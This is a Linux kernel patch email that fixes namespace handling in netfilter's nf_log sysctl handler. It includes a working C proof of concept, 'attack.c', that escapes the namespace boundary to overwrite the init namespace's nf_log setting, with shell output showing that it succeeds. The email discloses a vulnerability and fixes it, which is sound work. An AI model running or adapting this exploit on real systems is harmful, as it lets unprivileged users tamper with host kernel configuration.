From dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 Mon Sep 17 00:00:00 2001 From: Jann Horn Date: Sun, 18 Sep 2016 21:40:55 +0200 Subject: [PATCH] netfilter: fix namespace handling in nf_log_proc_dostring nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn Signed-off-by: Pablo Neira Ayuso --- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c index 30a17d649a83..3dca90dc24ad 100644 --- a/net/netfilter/nf_log.c +++ b/net/netfilter/nf_log.c @@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write, char buf[NFLOGGER_NAME_LEN]; int r = 0; int tindex = (unsigned long)table->extra1; - struct net *net = current->nsproxy->net_ns; + struct net *net = table->extra2; if (write) { struct ctl_table tmp = *table; @@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net) 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data = NULL; nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN; nf_log_sysctl_table[i].mode = 0644; nf_log_sysctl_table[i].proc_handler = @@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net) } } + for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header = register_net_sysctl(net, "net/netfilter/nf_log", table); -- 2.20.1